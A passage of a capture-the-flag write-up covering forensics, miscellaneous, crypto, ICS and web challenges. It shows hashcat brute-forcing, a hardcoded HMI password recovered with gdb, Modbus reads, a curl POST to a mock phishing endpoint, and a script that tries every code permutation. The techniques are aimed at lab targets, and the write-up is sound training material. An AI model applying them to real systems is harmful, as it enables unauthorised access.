00000060: c708 90dd 8833 ff6a 608e 1c38 b87a d426  .....3.j`..8.z.&
00000070: 07ce 320f c1e3 1b66 77d7 4a87 5e7b cd61  ..2....fw.J.^{.a
00000080: 32b7 8ec6 8c05 7272 3f11 f474 63f4 ce70  2.....rr?..tc..p
00000090: 45c3 91e6 a564 356d 0365 fc99 9f78 b9f5  E....d5m.e...x..
000000a0: 1444 bf70 8fd6 0d5a a747 a913 f94e ed44  .D.p...Z.G...N.D
000000b0: aa45 eefe 862b 8046 946c 207a cc49 6970  .E...+.F.l z.Iip
000000c0: 2faa 31d4 978a 5f03 c308 4caa 9d07 6276  /.1..._...L...bv
000000d0: 0a96 1469 2cb5 856c ea94 adfd 4502 f410  ...i,..l....E...
000000e0: 4369 0930 b0fe fbfd 193f 5c31 acef 4228  Ci.0.....?\1..B(
000000f0: 4384 f9d2 3009 b42b b8c6 2704 0167 9036  C...0..+..'..g.6
00000100: be20 4ff3 60cb a88e 5563 2aa8 85b7 b8a5  . O.`...Uc*.....
00000110: 6452 100e 42c3 3f0f 37dd 90ca 51a1 1001  dR..B.?.7...Q...
00000120: 7210 ff40 459a 0ffd 886c cd1b d6d5 4e6d  r..@E....l....Nm
00000130: c97f 5302 0301 0001 1280 021d 2795 6e4c  ..S.........'.nL
00000140: b38d e51f a98b 30d2 92c7 b39d fbdb e0f5  ......0.........
00000150: c307 d4c2 9423 f239 c03e 974a bdc1 e745  .....#.9.>.J...E
00000160: e5b7 a849 e275 c6b5 a0ea 892a 707d bd5e  ...I.u.....*p}.^
00000170: d16f 282c 5948 c65c b4d9 2d42 f6b6 5b29  .o(,YH.\..-B..[)
00000180: e658 9037 fc44 44fa 295a 9e92 4408 515b  .X.7.DD.)Z..D.Q[
00000190: 719e 7014 bd3b 9d42 9e71 2406 63ae 42a2  q.p..;.B.q$.c.B.
000001a0: 7e91 c2c9 8400 76c9 edbe 37be 94ee 0aa8  ~.....v...7.....
000001b0: cd21 dd7b f175 5238 ca39 3a82 320b 402a  .!.{.uR8.9:.2.@*
000001c0: 62ba 6bad 397d c90f b060 39c2 f81e f9b0  b.k.9}...`9.....
000001d0: 9ce6 b750 e086 226b 11b4 5525 17d3 62da  ...P.."k..U%..b.
000001e0: 00a1 92d6 60de fabc 4af9 5278 7d01 8913  ....`...J.Rx}...
000001f0: b28c e399 12c1 454d 4207 5f92 8e4b 71fd  ......EMB._..Kq.
00000200: 19e7 1a1b 0e63 c008 e817 512f a7d8 0e45  .....c....Q/...E
00000210: 5c95 e06d d23e 9af7 f4f3 57e7 4196 1b2a  \..m.>....W.A..*
00000220: 165f 9624 8a17 cb91 d398 188a ffd1 9e64  ._.$...........d
00000230: 32a6 237d d099 8316 38ea 9982 f104 120a  2.#}....8.......
00000240: 1018 849b 4bfd edcb a144 5824 ce62 3b6d  ....K....DX$.b;m
00000250: f250 4b03 0414 0000 0808 0005 9932 508d  .PK..........2P.
00000260: 9ca8 efee 0300 00e9 0300 0008 0000 0069  ...............i
00000270: 636f 6e2e 706e 6701 e903 16fc 8950 4e47  con.png......PNG
00000280: 0d0a 1a0a 0000 000d 4948 4452 0000 0013  ........IHDR....
00000290: 0000 0013 0806 0000 0072 5036 cc00 0003  .........rP6....
000002a0: b049 4441 5438 11bd c17d 4cd4 751c c0f1  .IDAT8...}L.u...
000002b0: cffd 7edf dfc1 8596 80b5 9d20 4e86 732e  ..~........ N.s.
000002c0: 2506 62c8 7c0a 1f16 1a6c 4854 16c1 2c56  %.b.|....lHT..,V
000002d0: 9ad8 4492 871c 88a4 26a7 079e b001 c993  ..D.....&.......
000002e0: 9808 4426 1707 5ef1 24a0 e650 d3a9 9b5a  ..D&..^.$..P...Z
000002f0: ad89 acd6 7c5e 9334 d077 adad cd39 6bf5  ....|^.4.w...9k.
00000300: 8faf 973c 1ea7 c55f 6e48 ac1a f04a b7f6  ....
000003a0: 958e 9f4a e561 3345 2cfd a22e 94c6 6bb8  ...J.a3E,.....k.
000003b0: fc15 2d93 343a 4d8a 1ed1 e9f7 14e2 4b84  ..-.4:M.......K.
000003c0: ad6f 5988 fa21 0d47 d735 4adc 5074 0036  .oY..!.G.5J.Pt.6
000003d0: ed86 54db b504 79d0 7aa5 220f 28fd 9e3d  ..T...y.z.".(..=
000003e0: 42a7 6fac 4eab 5527 73b5 89b1 4784 e9b5  B.o.N.U's...G...
000003f0: 4256 8ab0 f78d 396c 3875 9172 d76f d4cf  BV....9l8u.r.o..
00000400: 8e67 b7fd 3876 2764 57df 3f25 7978 cadf  .g..8v'dW.?%yx..
00000410: 8a94 cadb 65d6 f9c2 64d0 16a4 d1f6 a481  ....e...d.......
00000420: 235a 236a bf86 ba23 d485 6838 b71c a2e2  #Z#j...#..h8....
00000430: 30d8 777e 43a7 8727 7bca cf63 77c1 b6ac  0.w~C..'{..cw...
00000440: ae11 e7b8 6999 e522 86fc c9e4 16d5 5d15  ....i.."......].
00000450: a9a8 f357 344c d168 19a5 d1ad 1b74 790b  ...W4L.h.....ty.
00000460: 0bea ad1c 1e1f 4445 d34d ca7a a068 f916  ......DE.M.z.h..
00000470: 7a26 4ea5 d47d 8fed 9b3a 6855 06e7 95ce  z&N..}...:hU....
00000480: 51c3 0895 4411 6baf a65d 2f9b 164e 9b8f  Q...D.k..]/..N..
00000490: 99ba 40a1 296c 3eb9 1ff7 b379 e31e 32d7  ..@.)l>....y..2.
000004a0: cee4 d08c 57d8 7910 8add 5011 3c8f f6d8  ....W.y...P.O...y....%q
00000580: 29bb 589e d34b eab6 efc8 2e1a a060 e339  ).X..K.......`.9
00000590: 6a62 d3d9 1bf6 04d5 3334 cafd 752e 89c1  jb......34..u...
000005a0: 573e 42de 04a1 db3c 9a36 650c 1f33 8ce9  W>B....a=
000007a0: a322 4612 3ca2 51d2 212a 25e0 7db6 f0c2  ."F.<.Q.!*%.}...
000007b0: 7b18 4f62 9ce1 0922 05d9 3136 d9fb 02b9  {.Ob..."..16....
000007c0: ef50 3d43 1243 699e 91aa 020a 3ac2 4651  .P=C.Ci.....:.FQ
000007d0: 1348 2848 2734 9422 64ce 15d5 b25f 12cf  .H(H'4."d...._..
000007e0: 5987 da63 0c3d 4311 c317 1702 6986 0ca2  Y..c.=C.....i...
000007f0: 81ca c488 7508 f0b9 32d0 911a e5a3 e874  ....u...2......t
00000800: c8b7 ecb4 4006 e783 a327 1d9a 18d2 3a5d  ....@....'....:]
00000810: 6aa1 3d6b 9f48 bc97 644f 6de0 9c27 532c  j.=k.H..dOm..'S,
00000820: a7aa 4415 00cb 98fe 5008 17a5 f9b5 d133  ..D.....P......3
00000830: 6a62 185d 2b78 6d2a 34c5 1913 3547 6a82  jb.]+xm*4...5Gj.
00000840: 456d 2bf2 43d5 0e3e 2907 2c22 9b33 f670  Em+.C..>).,".3.p
00000850: c6d8 e51a fbc9 0e7b 8621 46d4 2691 01ca  .......{.!F.&...
00000860: 4316 1dca f98a 24d0 b1e6 465b 342e 923d  C.....$...F[4..=
00000870: 810e 0cec 373b aad9 6111 f165 c953 5b6a  ....7;..a..e.S[j
00000880: c98d 40d2 3940 c81c 514b edc9 dd2a c3ca  ..@.9@..QK...*..
00000890: a6a1 8b23 1222 6905 de75 a711 beb2 375d  ...#."i..u....7]
000008a0: e773 cf68 8811 8cce a0eb 5421 19a9 90bc  .s.h......T!....
000008b0: 27f1 4111 32e8 00c3 6998 8d25 06fb 4199  '.A.2...i..%..A.
000008c0: 8a9e 63f6 6df6 a2c3 11a3 ae32 f921 6d77  ..c.m......2.!mw
000008d0: 3bf9 ff1b 78f6 77f4 0c4f 8c52 1119 4015  ;...x.w..O.R..@.
000008e0: 87e0 249a baa1 abcf 2bdb 67be c473 f290  ..$.....+.g..s..
000008f0: f257 bb5f 1978 e8de 0ff4 efb9 f14d a2c1  .W._.x.......M..
00000900: 52f7 0f50 4b03 0414 0000 0808 0040 9932  R..PK........@.2
00000910: 5020 17bf 2b8f 0000 00e4 0000 000a 0000  P ..+...........
00000920: 0070 6f70 7570 2e68 746d 6c75 8f41 0ec2  .popup.htmlu.A..
00000930: 300c 04ef bcc2 cd03 88b8 a791 1052 cf7c  0............R.|
00000940: 218d ad26 3434 51ea 22f5 f784 1a8e 9cbc  !..&44Q.".......
00000950: f2ee 8e65 d361 f6bc 1782 c0cf 644f 4606  ...e.a......dOF.
00000960: 8009 e4f0 239a e4c8 89ec 90dc 0443 5c90  ....#........C\.
00000970: 2a5c f1e5 164f 68b4 7892 5b7d 8d85 61ad  *\...Oh.x.[}..a.
00000980: be57 2597 ad9c 1fab b246 cbfe a0ea 1fd6  .W%......F......
00000990: 8c19 f76f 2f5c fec0 9b21 8971 63ce 0b44  ...o/\...!.qc..D
000009a0: ec95 0fe4 e7bb 9b48 d95b 8a7e 8640 953a  .......H.[.~.@.:
000009b0: a325 2247 84dd fac7 336f 504b 0304 1400  .%"G....3oPK....
000009c0: 0008 0800 039c 3250 00f5 1da0 d500 0000  ......2P........
000009d0: 4c01 0000 0d00 0000 6d61 6e69 6665 7374  L.......manifest
000009e0: 2e6a 736f 6e45 8e4d 6bc4 2010 86ef f915  .jsonE.Mk. .....
000009f0: 83e7 45da 1e7b 2b85 40ef b995 1266 7592  ..E..{+.@....fu.
00000a00: 0ce8 286a b285 65ff 7bd5 14f6 e4c7 fbbc  ..(j..e.{.......
00000a10: 1ff7 0140 7914 5e28 97f9 a094 3988 7a87  ...@y.^(....9.z.
00000a20: b7cb d014 414f f5a5 4687 2b8c 2c96 127c  ....AO..F.+.,..|
00000a30: 1c28 86ac ba34 c052 3689 6339 5d6a da38  .(...4.R6.c9]j.8
00000a40: 03fd 1692 9603 3776 0e6c 0084 b2b1 ac1a  ......7v.l......
00000a50: be0a 5480 a502 962c 2c21 c1e7 3466 40b1  ..T....,,!..4f@.
00000a60: 4076 37d8 823a 6603 6590 d07d e0d1 b1e1  @v7..:f.e..}....
00000a70: b067 7db6 3e77 aa57 fda2 cead d714 6e99  .g}.>w.W......n.
00000a80: d28c e67f cdbd feb6 850b eeae cc6c 4e43  .............lNC
00000a90: 3b75 94b5 273d e518 e21e 9bde 2f7a 2bde  ;u..'=....../z+.
00000aa0: a90a 3c7a 5fa4 e439 b7ca 5c91 ef6e 6c35  ..<z_..9..\..nl5
00000ab0: 074d 786d 18fc 0c8f e10f 504b 0102 0000  .Mxm......PK....
00000ac0: 1400 0008 0800 0599 3250 8d9c a8ef ee03  ........2P......
00000ad0: 0000 e903 0000 0800 0000 0000 0000 0000  ................
00000ae0: 0000 0000 0000 0000 6963 6f6e 2e70 6e67  ........icon.png
00000af0: 504b 0102 0000 1400 0008 0800 779a 3250  PK..........w.2P
00000b00: 8bcd 4287 7802 0000 6404 0000 0800 0000  ..B.x...d.......
00000b10: 0000 0000 0100 0000 0000 1404 0000 706f  ..............po
00000b20: 7075 702e 6a73 504b 0102 0000 1400 0008  pup.jsPK........
00000b30: 0800 4099 3250 2017 bf2b 8f00 0000 e400  ..@.2P ..+......
00000b40: 0000 0a00 0000 0000 0000 0100 0000 0000  ................
00000b50: b206 0000 706f 7075 702e 6874 6d6c 504b  ....popup.htmlPK
00000b60: 0102 0000 1400 0008 0800 039c 3250 00f5  ............2P..
00000b70: 1da0 d500 0000 4c01 0000 0d00 0000 0000  ......L.........
00000b80: 0000 0100 0000 0000 6907 0000 6d61 6e69  ........i...mani
00000b90: 6665 7374 2e6a 736f 6e50 4b05 0600 0000  fest.jsonPK.....
00000ba0: 0004 0004 00df 0000 0069 0800 0000 00    .........i.....

Putting this into a file and dumping it, gives us:

$ xxd -r extension.hexdump > extension.raw
$ file extension.raw
extension.raw: Google Chrome extension, version 3
$ mkdir extension
$ cd extension/
$ unzip ../extension.raw
Archive:  ../extension.raw
warning [../extension.raw]:  593 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: icon.png
  inflating: popup.js
  inflating: popup.html
  inflating: manifest.json
§ ls
icon.png  manifest.json  popup.html  popup.js
$ cat popup.js
document.addEventListener('DOMContentLoaded', function() {
  var checkPageButton = document.getElementById('checkPage');
  checkPageButton.addEventListener('click', function() {

    chrome.tabs.getSelected(null, function(tab) {
      d = document;

      d.body.appendChild("00000000: 1f8b 0800 acbc 235e 0003 edcf 3d0a c230  ......#^....=..0
00000010: 18c6 f148 1717 bd81 1870 d049 9336 4d8e  ...H.....p.I.6M.
00000020: e10d 943a d441 bbf8 b1bb 7b03 a70e 1ec3  ...:.A....{.....
00000030: 450f e20d 9c5d 8d16 bb14 3a15 44f8 ff20  E....]....:.D..
00000040: bcbc c933 3c19 4f16 d6cc bf27 5d27 4bd1  ...3<.O....']'K.
00000050: 38a5 9435 46be a7b3 f167 aab0 d80b 712c  8..5F....g....q,
00000060: 7564 b572 910d 7d50 e9c8 6823 a46a be4a  ud.r..}P..h#.j.J
00000070: d57e bb4b 36be 4ab2 aacf f958 9ad6 bc17  .~.K6.J....X....
00000080: 3f91 e5fc 13fd 635b 9c2f 8399 081e d756  ?.....c[./.....V
00000090: c75f dcf2 e734 ebba bc4c 1c5c 70ba f786  ._...4...L.\p...
000000a0: 62f4 b38e 0000 0000 0000 0000 0000 0000  b...............
000000b0: 0080 aa17 cca3 969b 0028 0000            .........(..
");
    });
  }, false);
}, false);

Ok, again a hexdump, so put it in a file and convert it to raw again:

$ xxd -r extension-js.hexdump > extension-js.raw
$ file extension-js.raw
extension-js.raw: gzip compressed data, last modified: Sun Jan 19 02:19:24 2020, from Unix, original size 10240
$ cp extension-js.raw extension-js.gz
$ ls
 extension           extension-js.gz        extension-js.raw   hitw_ch1_434MHz_1MSps.wav     extension.hexdump   extension-js.hexdump   extension.raw      master_preferences
$ gunzip --keep extension-js.gz
$ file extension-js
extension-js: POSIX tar archive
$ tar -tf extension-js
./b64_b64_b64_flag

And that’s the flag \o/

Miscellaneous

This part had three challenges, all of which were solved by us.

Just run with Steve J.

We’re given a file, its SHA1 hash, and the following task:

Find the executable file attached and run it. No worries, it is not malware and it does NOT need to run with any privileges. Find out what it does and follow the clues.

We were a bit conservative in that case and didn’t run the executable, so we did some static analysis instead:

$ file runme 
runme: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
$ strings runme
[snip]
@Hang on...
[redacted].firstchallenges.ninja
Did you catch that?
sleepForTimeInterval:
dataWithCapacity:
appendBytes:length:
@_DNSServiceProcessResult
@_DNSServiceQueryRecord
@_DNSServiceRefDeallocate
[snip]
_DNSServiceProcessResult
_DNSServiceQueryRecord
_DNSServiceRefDeallocate
[snip]

Ok, so we have a domain [redacted].firstchallenges.ninja in there, as well as some references to DNS, so let’s see if anything turns up:

$ dig [redacted].firstchallenges.ninja TXT

; <<>> DiG 9.16.15-Debian <<>> [redacted].firstchallenges.ninja TXT
;; global options: +cmd
;; Got answer:
;; ->>HEADER<

Nice, that seems to have been a lucky one. The response looks like a hex string, so we decoded it:

$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> binascii.unhexlify('5f6e635f7463705f323032312e66697273746368616c6c656e6765732e6e696e6a613a38343438')
b'_nc_tcp_[redacted].firstchallenges.ninja:8448'
>>>

Another hint, so we do what we’re told to:

$ nc [redacted].firstchallenges.ninja 8448
97ce8d01a9e01cef2b2a9b946c0051ff

Trying to decode that value didn’t yield anything useful, so we submitted it as the flag – which was correct :)

my man!

We receive a JPEG and very straightforward instructions:

See if you can located all 7 pieces of the flag.

After trying the obvious – looking at the image itself and its exif data – we looked at the file in a simple text editor and the last part of it seemed a bit odd:

$ tail -n +75 myman.jpg
������[�H'��C#K_�k��0���]��c[O-�"�.܇�c,��Ķ5��+⥺�5s�IGV�&v������B�?��V?�Q��Y=̶��?���_�=��O=�S*����*ƞ��u9%b4���h,m9����A�]:6(�O��rO�>'�H����fm;�0��@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A��.Dd June 21, 2020
.Dt MY "" !YouH
.Os
.Sh NAME
.Nm my
.Nd the ultimate hacking tool - its like Metasploit but for Ruby developers.
.Sh SYNOPSIS
.Nm my
.Op Fl lOfTheP
.Op Ar
.Sh DESCRIPTION
my is many tools in one. For each
.Ar file
provided to
.Nm my,
you can choose to exfiltrate, securely delete, or backdoor the
.Ar file.
.Nm my
is fully undetectable and is the hacking tool of choice for
Advanced and persistent APT threats.
.Pp
If no operands are given, my will dump credentials of all users on the system. If
.Nm my
is uploaded to a webserver, it can be used as a webshell or to conduct sql injection attacks.
.Pp
The following options are available:
.Bl -tag -width indent
.It Fl l
Hack the Gibson.
.It Fl O
output.
.It Fl f
iteratively inject json into the firewall (with force).
.It Fl T
modify authentication requests to the sqlite database's caching backend server's load balancer.
.It Fl h
dump credentials from the Sharepoint client's memory bank.
.It Fl e
crash the remotely executable's code path.
.It Fl P
double-click a JPEGs nested for loop recursion.
.Sh EXAMPLES
The following is how to do a
.Nm my
hack attack:
.Pp
.Dl "my -Oh | my"
.Sh DIAGNOSTICS
Nah.
.\" sForThis
.Sh ENVIRONMENT
.Fn printf "undAl"
I am thankful manpage's markup language (groff/troff) never caught on outside of manpages.
.Sh COMPATIBILITY
The group field is now automatically included in YXZlRm8= the long listing for
files in order to be compatible with the
.St -p1003.2
specification.
.Sh SEE ALSO
https://pastebin.com/G5pbzCjR
.Sh LEGACY DESCRIPTION
All good men and women must take responsibility to create legacies that will take the next generation to a level we could only imagine.
.Sh HISTORY
An
.Nm my
command appeared in
.At v1 .
.Sh BUGS
my doesn't cotain any bugs because the authors conducted a ssae16 audit of the source.
.Hf /dev/null/ieces

For whatever reason, someone has appended some troff data to this image... Our solution was definitely not the most straightforward one, but we simply looked for stuff that looked "odd" and we knew that we’re looking for seven pieces. From top to bottom we identified:

  1. !YouH

  2. lOfTheP

  3. sForThis

  4. undAl

  5. YXZlRm8= which is aveFo after base64 decoding.

  6. https://pastebin.com/G5pbzCjR a paste which contains "Challenge!"

  7. /dev/null/ieces

Putting them all together in the right order results in !YouHaveFoundAllOfThePiecesForThisChallenge! and that was the flag.

The Bit Maker

We got a commandlog from a compromised server and the following task:

You located a compromised system in your environment. After closer examination, you notice a keylogger installed on the system. A snippet of the keylog are attached. See if you can find the correct bits. The flag is hex values with no spaces or delimiters.

The relevant part of the commandlog is:

$ ls

import random

data = []

for idx in xrange(random.randint(3000, 5000)):
  val = random.randint(0, 255)
  data.append(val)

flag_len = 4
start = len(data) / 2

with open("flag.txt", 'wb') as f:
  for i in range(start, start + flag_len):
    f.write(chr(data[i]))
    data[i] = 0x00

with open("data.bin", 'wb') as f:
  f.write(''.join([chr(x) for x in data]))


$ shasum -a 256 ./*
22585d78ab9223ffca17d0d3cabd4265105f4efbbbb3ebfbbd7ab1b9b4a0dd98  ./data.bin
7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc941ba9246f0d9  ./flag.txt

(yes, the output is a bit broken). So we know, our flag’s SHA256 hash and that it is 4 bytes. Time for hashcat:

hashcat.bin -a 3 -m 1400 7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc941ba9246f0d9 '?b?b?b?b'
hashcat (v6.2.1) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

CUDA API (CUDA 11.2)
====================
* Device #1: GeForce RTX 2070, 7684/7973 MB, 36MCU

OpenCL API (OpenCL 1.2 CUDA 11.2.162) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: GeForce RTX 2070, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 632 MB

7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc941ba9246f0d9:$HEX[42d14cad]

Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA2-256
Hash.Target......: 7928ca875b29e1157b2c6d808df146433598d96eea98bf074fc...46f0d9
Time.Started.....: Thu Jun 10 09:12:07 2021 (1 sec)
Time.Estimated...: Thu Jun 10 09:12:08 2021 (0 secs)
Guess.Mask.......: ?b?b?b?b [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2013.0 MH/s (6.57ms) @ Accel:4 Loops:128 Thr:1024 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2925527040/4294967296 (68.12%)
Rejected.........: 0/2925527040 (0.00%)
Restore.Point....: 11354112/16777216 (67.68%)
Restore.Sub.#1...: Salt:0 Amplifier:0-128 Iteration:0-128
Candidates.#1....: $HEX[73612aac] -> $HEX[c0ff7faf]
Hardware.Mon.#1..: Temp: 57c Util: 86% Core:1770MHz Mem:5500MHz Bus:16

Started: Thu Jun 10 09:12:06 2021
Stopped: Thu Jun 10 09:12:09 2021

So, in theory, we have our flag, i.e. 42d14cad. However, it wasn’t accepted and we wasted several tries to find out that we had to convert it to uppercase: The flag was 42D14CAD...

Cryptography/Forensics

This section had only a single challenge.

The Secret

Our task says:

During a forensics investigation you find a piece of information that might help you learn the miscreant steps. The file is missing. You have only the following:

MD5 (mysecret.txt) = 52c76da7c56b606849df5a038d1bb561

Just look it up in an MD5 database, e.g. https://md5.gromweb.com/?md5=52c76da7c56b606849df5a038d1bb561 and the result is admin123. The fun thing about that, however, was the fact that the MD5 sum is actually for admin123 + the appended newline, which led hashcat and john astray, as they remove newlines from entries in wordlists, it seems.

ICS

This part had the most challenges, but we only solved four. We’re not sure how many it had in total, as we didn’t unlock some of the later ones.

Additionally, one of our solves was a crossword puzzle which we won’t consider in this writeup.

HMI Pwning - 1

We were given a binary and the following instructions:

These challenges involve reverse engineering and exploiting a custom HMI program.

Can you determine the password that can be used to log in as the user "engineer"?

Note: hmi_coolant is a Linux binary that is safe to run on your local machine. Once running, you can communicate with your local instance of the HMI software via:

nc localhost 5050

For solving this challenge, it wasn’t 100% necessary to run the program:

$ strings hmi_coolant
[snip]
 HMI Status:
  - Current User:       Engineer
  - Current User:       Administrator
  - Current User:       Guest
  - System Time:
  - System Version:
  - Uptime:             %d days %02d:%02d:%02ld
engineer
staplebatterycorrecthorse
administrator
[HMI] Available Commands:
[snip]
check_login
[snip]

It looks like staplebatterycorrecthorse is the password we want. However, to be sure, we ran the binary using gdb and looked at the check_login function:

$ gdb -q hmi_coolant
Reading symbols from hmi_coolant...(no debugging symbols found)...done.
(gdb) disass check_login
[snip]
   0x0000000000001def <+43>:    lea    0x1339(%rip),%rsi        # 0x312f
   0x0000000000001df6 <+50>:    mov    %rax,%rdi
   0x0000000000001df9 <+53>:    callq  0xe30 <strncasecmp@plt>
   0x0000000000001dfe <+58>:    test   %eax,%eax
   0x0000000000001e00 <+60>:    jne    0x1e30 <check_login+108>
   0x0000000000001e02 <+62>:    mov    -0x38(%rbp),%rax
   0x0000000000001e06 <+66>:    add    $0x10,%rax
   0x0000000000001e0a <+70>:    mov    $0x19,%edx
   0x0000000000001e0f <+75>:    lea    0x1322(%rip),%rsi        # 0x3138
   0x0000000000001e16 <+82>:    mov    %rax,%rdi
   0x0000000000001e19 <+85>:    callq  0xe30 <strncasecmp@plt>
[snip]
(gdb) x/s 0x312f
0x312f: "engineer"
(gdb) x/s 0x3138
0x3138: "staplebatterycorrecthorse"

In verbose: This function first compares its first parameter to the string engineer and if this is the case it compares the second parameter to staplebatterycorrecthorse. Since we know that the first parameter is the username, we can be pretty sure that the second one is the password which was correct.

Hiding on the Modbus - 1

The task was:

There is a modbus device located at [redacted].firstseclounge.org on TCP port 5020.

Can you find the ASCII string hidden in the discrete inputs?

Unfortunately we didn’t document this challenge during the CTF and when we wrote the writeup we could reproduce our steps but as the modbus device was no longer active we couldn’t retrieve the flag again.

We used the modbus-cli interface and read all data from the discrete inputs:

#!/bin/bash
for i in {1..90}
do
  modbus [redacted].firstseclounge.org:5020 d@{i} | tee -a out.txt
done

This resulted in a stream of ones and zeroes and decoding it as ASCII returned the flag.

Hiding in the Noise - 1

We’re back to PCAPs here and have the following task:

The attached packet capture contains real BACnet traffic as well as BACnet traffic from a command-and-control (C2) server communicating with a remote access trojan (RAT).

Can you determine the IP address of the RAT?

We looked at the I/O graphs of the connections which where mainly in sync with deterministic spikes, except for one connection that had irregular bumps. Zeroing in on this connection, it turned out that one of the IP addresses involved sends malformed packets – a clear sign that this was the RAT communicating with its C2-server. This IP address was 10.20.21.91 and that was the correct answer.

Web

The web-part consisted of four challenges which we all solved.

Clear Intentions

The description reads:

A website’s intentions aren’t always clear or at least not as obvious. Can you help us figure out what this site is doing? We’ll gladly pay bitc... I mea n, a challenge flag for your time

A bit of background

Take a look at the site (https://[redacted].firstchallenges.ninja/clarity), follow the trail and see where it leads you. You can get past the front door with c ode [redacted]

When connecting to the webpage, we were confronted with a login page which told us to urgently validate our account by typing in a username and a password. In the network traffic, we also noticed that the main part of the page is dynamically built by a javascript called image.js. This contained a function called xyzl with an interesting URL, i.e. https://[redacted].firstchallenges.ninja/clarity/harvest’ within another function called postData which, to our surprise, posts data to this URL.

Well, let’s try the most primitive thing – a POST request:

$ curl -X POST https://[redacted].firstchallenges.ninja/clarity/harvest
{"flag": "6ced11aa9bc1aeab98241abc3f7a3c84987786c7"}

Oh, ehm, that was easier than expected :D

Permutation Lock

Another website with the following task:

It appears that we’ve lost the key to this locked site. Can you help recover the right code?

A bit of background

The locked site can be found at https://[redacted].firstchallenges.ninja/order. You can get past the front door by entering FIRST2021

On the next page you will find a list of available codes at the top and empty fields below that you need to place in the right order.

You’ll need to enter the characters available in the empty fields in the right order before gaining access to the locked site.

Once the right code order is entered you will be redirected to another page letting you know of your success and show you the challenge flag.

You can test success page by entering test code [redacted] in the emtpy fields. There are over 5,000 possible permutations for this lock. Good luck!

As https://ctf.firstseclounge.org/ states

Any attempts at cheating, multiple registrations, brute force or other malicious actions against the challenge framework and corresponding infrastructure will result in immediate exclusion from the challenge for the offending team.

we specifically asked whether it is allowed to just try all combinations or if this will be considered brute-force. We were told that in this case trying all combinations is acceptable.

So we proceeded with our initial idea of just trying out stuff:

import requests
import itertools

reqs = requests.session()
access_code = {
   ('access_code', (None, 'FIRST2021')),
}
resp = reqs.post('https://[redacted].firstchallenges.ninja/order/default', files=access_code)

seq = ['21', '2D', '2E', '41', '56', '58', '5F']
seq_perms = list(itertools.permutations(seq))
seq_max = len(seq_perms)
seq_curr = 0

for perm in seq_perms:
   print("{}/{}".format(seq_curr, seq_max), sep='', end='\r', flush=True)
   seq_curr += 1
   data = {
       ('first', (None, perm[0])),
       ('second', (None, perm[1])),
       ('third', (None, perm[2])),
       ('fourth', (None, perm[3])),
       ('fifth', (None, perm[4])),
       ('sixth', (None, perm[5])),
       ('seventh', (None, perm[6])),
   }
   resp = reqs.post('https://[redacted].firstchallenges.ninja/order/orderme', files=data)
   if "Not Valid" in resp.text:
       continue

   print("Possible answer found?: {}".format(perm))

Running the script returned the flag: 2E21582D415F56.

Time to REST

The description read:

You will need to setup a method to interact with the REST api and understand the methods available to you. The API is avaiable on https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken, and the available endpoints are fetchtoken, whoami, who, flag. Unfortunately, guest accounts do not have access to the flag endpoint, so they won’t receive a response with a valid challenge flag. To ensure you aren’t interrupting another competitor, you can pick one of the seven guest accounts below.

[redacted]

Discussion

With fetchtoken you’ll need to provide the id and key value pairs and it will respond a valid token that can be used to interact with the rest of the API.

You can use whoami to verify the identity associated with your token. If you provide ‘token’ with and a valid token string, it will respond with identity of the user associated with the token.

The who endpoint accepts a token’ key with valid token string value, it will respond with a data of the accounts with an active token on the system.

Finally, calling the ‘flag’ endpoint with a valid ‘token’ and token string value might respond with a challenge flag. Guest accounts do not have access to a valid challenge flag, so they’ll receive a forbidden response value pair. If you access the flag endpoint with a more priviledge token, then you’ll get a real challenge flag.

